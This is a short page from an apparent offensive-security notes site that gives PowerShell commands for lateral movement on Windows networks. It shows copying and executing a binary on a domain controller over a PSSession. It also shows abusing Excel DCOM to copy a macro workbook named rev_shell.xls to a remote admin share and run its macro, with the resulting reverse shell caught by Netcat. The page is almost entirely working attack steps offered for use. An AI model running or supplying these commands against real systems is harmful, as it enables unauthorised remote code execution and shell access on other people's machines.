> For the complete documentation index, see [llms.txt](https://f1rstbyt3.gitbook.io/hacking-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://f1rstbyt3.gitbook.io/hacking-notes/misc/powershell/powershell-lateral-movement.md).

# Powershell Lateral Movement

### PSsession

```powershell
$dcsesh = New-PSSession -Computer SANDBOXDC
Invoke-Command -Session $dcsesh -ScriptBlock {ipconfig}
Copy-Item "C:\Users\Public\whoami.exe" -Destination "C:\Users\Public\" -ToSession $dcsesh
Invoke-Command -Session $dcsesh -ScriptBlock {C:\Users\Public\whoami.exe}
```

###

### (using Excel) Connect and check membership:

```powershell
$com = [activator]::CreateInstance([type]::GetTypeFromProgId("Excel.Application", "172.16.246.5"))
$com | Get-Membership
Create macro based on response (looking for Open/Run/Workbooks):
$com = [activator]::CreateInstance([type]::GetTypeFromProgId("Excel.Application", "172.16.246.5"))
$LocalPath = "C:\tools\rev_shell.xls"
$RemotePath = "\\172.16.246.5\c$\rev_shell.xls"
[System.IO.File]::Copy($LocalPath, $RemotePath, $True)
$Path = "\\172.16.246.5\c$\Windows\sysWOW64\config\systemprofile\Desktop"
$temp = [system.io.directory]::createDirectory($Path)
$Workbook = $com.Workbooks.Open("C:\rev_shell.xls")
$com.Run("MyMacro")
```

Catch it with Netcat